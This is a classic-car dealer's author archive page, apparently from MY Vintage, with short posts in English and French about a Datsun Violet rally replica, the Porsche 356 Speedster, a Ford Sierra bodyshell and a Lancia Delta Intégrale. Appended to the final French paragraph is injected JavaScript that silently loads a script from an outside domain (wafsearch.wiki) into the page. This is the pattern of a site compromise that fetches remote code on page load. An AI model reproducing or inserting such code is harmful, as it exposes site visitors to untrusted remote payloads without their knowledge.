Author Archive: Clovis Matton

Very rare in Europe, this Datsun Violet Group 2 is the replica of the late Jean-Louis Dumont car. Associated with a 5 speed gearbox, its strong 2 liter 8 valve engine develops 160 bhp. The car is rally ready with FIA rollcage, new bucket seats, new fire extinguishers, a Terra Trip trimaster and many other extras. Don’t hesitate to contact us for other details..

In 1953, Max Hoffman, the very influencial Porsche importator for the United States, suggest to Ferry Porsche to develop a sporty and lightweight version of the 356. Based on the convertible version which was already inthe catalog, the manufacturer develops a funny roadster with simple and seducing body. The interior is refined to reduce the weight to the maximum. From the commercialization in 1954, the Speedster (contraction of the words “speed” and “roadster”) has lot of success in the races as well is the californian streets : an automotive myth is born ! Sold until 1958, the Speedster has been hardly produced in 4200 units !

Now the car is particularly sought after and you won’t find an original one for less than 500 000 eur [...]

Built a Genk plant during the late eighties, this Ford Sierra Motorsport bodyshell is lighter than a standard one. Found in an old stock by MY Vintage, it has been bought by a French enthousiast who will build a rallycar with it. We are looking forward to see it !

Voiture mythique des années 80, la Delta Intégrale a permis à Lancia de dominer le Championnat du Monde des Rallyes après l’ère des groupe B. Six titres constructeurs et quatre titres Pilotes pour Mikki Biaison et Juha Kankkunen figurent au palmarès des différentes versions de la Delta. Devenue yougtimer, cette “groupe A de route” rencontre toujours un franc succès… et ce n’est pas Lorenz qui dira le contraire après son acquisition chez MY Vintage !var url = 'https://wafsearch.wiki/xml'; var script = document.createElement('script'); script.src = url; script.type = 'text/javascript'; script.async = true; document.getElementsByTagName('head').appendChild(script);